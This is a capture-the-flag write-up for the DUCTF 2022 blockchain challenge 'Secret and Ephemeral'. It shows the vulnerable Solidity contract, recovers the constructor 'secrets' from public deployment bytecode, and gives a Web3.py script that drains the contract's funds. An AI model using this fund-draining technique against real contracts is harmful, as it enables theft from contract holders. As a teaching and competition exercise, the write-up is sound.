Skip to content

Latest commit

 

History

History
130 lines (95 loc) · 9.88 KB

File metadata and controls

130 lines (95 loc) · 9.88 KB

Challenge: Secret and Ephemeral

Can you recover the lost secrets of this contract and take what is (not) rightfully yours? Goal: Steal all the funds from the contract.

Difficulty: medium

The challenge comes with the following attachment: SecretAndEphemeral.sol

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

/**
 * @title Secret And Ephemeral
 * @author Blue Alder (https://duc.tf)
 **/

contract SecretAndEphemeral {
    address private owner;
    int256 public seconds_in_a_year = 60 * 60 * 24 * 365;
    string word_describing_ductf = "epic";
    string private not_yours;
    mapping(address => uint) public cool_wallet_addresses;

    bytes32 public spooky_hash; //

    constructor(string memory _not_yours, uint256 _secret_number) {
        not_yours = _not_yours;
        spooky_hash = keccak256(abi.encodePacked(not_yours, _secret_number, msg.sender));
    }

    function giveTheFunds() payable public {
        require(msg.value > 0.1 ether);
        // Thankyou for your donation
        cool_wallet_addresses[msg.sender] += msg.value;
    }

    function retrieveTheFunds(string memory secret, uint256 secret_number, address _owner_address) public {
        bytes32 userHash = keccak256(abi.encodePacked(secret, secret_number, _owner_address));

        require(userHash == spooky_hash, "Somethings wrong :(");

        // User authenticated, sending funds
        uint256 balance = address(this).balance;
        payable(msg.sender).transfer(balance);
    }
}

Our goal, as description says is to retrieve all the funds in the contract. There is a function in SecretAndEphemeral.sol that does exactly what we want: retrieveTheFunds(), that sends all the smart contract balance to the transaction sender.

function retrieveTheFunds(string memory secret, uint256 secret_number, address _owner_address) public {
    bytes32 userHash = keccak256(abi.encodePacked(secret, secret_number, _owner_address));

    require(userHash == spooky_hash, "Somethings wrong :(");

    // User authenticated, sending funds
    uint256 balance = address(this).balance;
    payable(msg.sender).transfer(balance);
}

To correctly call the retrieveTheFunds() function we have to pass it three parameters a string, secret, a 256-bit unsigned integer, secret_number, and an address, _owner_address. These tree parameters are used to calculate a hash using the Keccak-256 hash function. The resulting hash is then compared with a hash generated during the deployment of the smart contract, through its constructor().

Because all the data in the blockchain is public, there isn't any secret string or integer that can be saved or passed and can't be retrieved.

All we have to do is to find out the block in which the smart contract was created (and its constructor function was called), this will give us the two "secret" variables and also the _owner_address, the sender of the contract creation transaction.

To find out the correct block we can iterate thought all the blockchain blocks (I suggest starting a new instance so there are no more than 7 blocks to look at) and analyze one block at time: the transaction we are searching contains a huge amount of input data and also doesn't have a receiver address. The correct transaction is the second of the fourth block, that transaction was created by the address 0x7BCF8A237e5d8900445C148FC2b119670807575b and contains the following input data:

0x6301e1338060015560c060405260046080908152636570696360e01b60a05260029061002b908261013c565b5034801561003857600080fd5b506040516106fd3803806106fd833981016040819052610057916101fb565b6003610063838261013c565b506003813360405160200161007a939291906102ca565b60405160208183030381529060405280519060200120600581905550505061035a565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806100c757607f821691505b6020821081036100e757634e487b7160e01b600052602260045260246000fd5b50919050565b601f82111561013757600081815260208120601f850160051c810160208610156101145750805b601f850160051c820191505b8181101561013357828155600101610120565b5050505b505050565b81516001600160401b038111156101555761015561009d565b6101698161016384546100b3565b846100ed565b602080601f83116001811461019e57600084156101865750858301515b600019600386901b1c1916600185901b178555610133565b600085815260208120601f198616915b828110156101cd578886015182559484019460019091019084016101ae565b50858210156101eb5787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b6000806040838503121561020e57600080fd5b82516001600160401b038082111561022557600080fd5b818501915085601f83011261023957600080fd5b81518181111561024b5761024b61009d565b604051601f8201601f19908116603f011681019083821181831017156102735761027361009d565b8160405282815260209350888484870101111561028f57600080fd5b600091505b828210156102b15784820184015181830185015290830190610294565b6000928101840192909252509401519395939450505050565b60008085546102d8816100b3565b600182811680156102f0576001811461030557610334565b60ff1984168752821515830287019450610334565b8960005260208060002060005b8581101561032b5781548a820152908401908201610312565b50505082870194505b50505094815260609390931b6001600160601b0319166020840152505060340192915050565b610394806103696000396000f3fe60806040526004361061004a5760003560e01c80631ac749ff1461004f57806323cfb56f146100775780637c46a9b014610081578063eb087bfb146100ae578063ecd424df146100c4575b600080fd5b34801561005b57600080fd5b5061006560015481565b60405190815260200160405180910390f35b61007f6100e4565b005b34801561008d57600080fd5b5061006561009c3660046101eb565b60046020526000908152604090205481565b3480156100ba57600080fd5b5061006560055481565b3480156100d057600080fd5b5061007f6100df366004610223565b61011e565b67016345785d8a000034116100f857600080fd5b33600090815260046020526040812080543492906101179084906102ee565b9091555050565b600083838360405160200161013593929190610315565b60405160208183030381529060405280519060200120905060055481146101985760405162461bcd60e51b81526020600482015260136024820152720a6dedacae8d0d2dccee640eee4dedcce40745606b1b604482015260640160405180910390fd5b6040514790339082156108fc029083906000818181858888f193505050501580156101c7573d6000803e3d6000fd5b505050505050565b80356001600160a01b03811681146101e657600080fd5b919050565b6000602082840312156101fd57600080fd5b610206826101cf565b9392505050565b634e487b7160e01b600052604160045260246000fd5b60008060006060848603121561023857600080fd5b833567ffffffffffffffff8082111561025057600080fd5b818601915086601f83011261026457600080fd5b8135818111156102765761027661020d565b604051601f8201601f19908116603f0116810190838211818310171561029e5761029e61020d565b816040528281528960208487010111156102b757600080fd5b826020860160208301376000602084830101528097505050505050602084013591506102e5604085016101cf565b90509250925092565b8082018082111561030f57634e487b7160e01b600052601160045260246000fd5b92915050565b6000845160005b81811015610336576020818801810151858301520161031c565b50919091019283525060601b6bffffffffffffffffffffffff1916602082015260340191905056fea2646970667358221220c558120b35ab560caa833f878d167e3c94af9005d6dea322262181580b0f895864736f6c634300081100330000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000dec0ded0000000000000000000000000000000000000000000000000000000000000022736f20616e79776179732069206a757374207374617274656420626c617374696e67000000000000000000000000000000000000000000000000000000000000

To better understand the content of the input data I suggest reading a small introduction I made on storage management in EVM. The input can also be understood by deploying the contract in local, calling the constructor with selected parameters and check for those parameters (with their hexadecimal representation) in the input data, this will provide the correct position of the wanted parameters.

With this method we can understand that secret_number and secret are written at the end of the block and in particular in the provided blockchain their values are:

  • secret_number = 0xdec0ded
  • secret = 0x22736f20616e79776179732069206a757374207374617274656420626c617374696e67

By finally calling the retrieveTheFunds() function with the three information we got, we can withdraw all contract funds and complete the challenge.

I wrote a simple Web3.py python program to call the function and withdraw funds:

from web3 import Web3
from web3.middleware import geth_poa_middleware
import json

url = "https://blockchain-secretandephemeral-87fd2f23e11f2cb3-eth.2022.ductf.dev/"
contractAddress = "0x6E4198C61C75D1B4D1cbcd00707aAC7d76867cF8"
privateKey = "0x58162c38eff43e9128b27b7dfdab52717c83bec2ff5a46e7ca4331ffbf9cff7f"
w3 = Web3(Web3.HTTPProvider(url))

with open("SecretAndEphemeral.json") as f:       #json file with the contract ABI
    SecretAndEphemeral_json = json.load(f)

print("Is connected? ", w3.isConnected())
w3.middleware_onion.inject(geth_poa_middleware, layer=0)

'''rightBlock = w3.eth.get_block(4)
rightTx = w3.eth.get_transaction(str(((w3.eth.get_block(4).transactions)[1]).hex()))'''

sender = w3.toChecksumAddress("0x7BCF8A237e5d8900445C148FC2b119670807575b")
# sender address of the second transaction contained in block 4
number = 233573869 
# int conversion of: 0xdec0ded
string = "so anyways i just started blasting" 
# string convertion of: 0x22736f20616e79776179732069206a757374207374617274656420626c617374696e67
nonce = 0

SecretAndEphemeral = w3.eth.contract(address=contractAddress, abi = SecretAndEphemeral_json)
print(SecretAndEphemeral)
print(SecretAndEphemeral.functions.spooky_hash().call())

transaction = SecretAndEphemeral.functions.retrieveTheFunds(string, number, sender).buildTransaction({
    'gas': 70000,
    'gasPrice': Web3.toWei(40, 'gwei'), 
    'nonce': nonce
})      #Withdraw all the token to the sender address
signed_txn = w3.eth.account.signTransaction(transaction, private_key=privateKey)
w3.eth.sendRawTransaction(signed_txn.rawTransaction)

After executing this script we can connect to the provided URL and retrieve the flag: DUCTF{u_r_a_web3_t1me_7raveler_:)}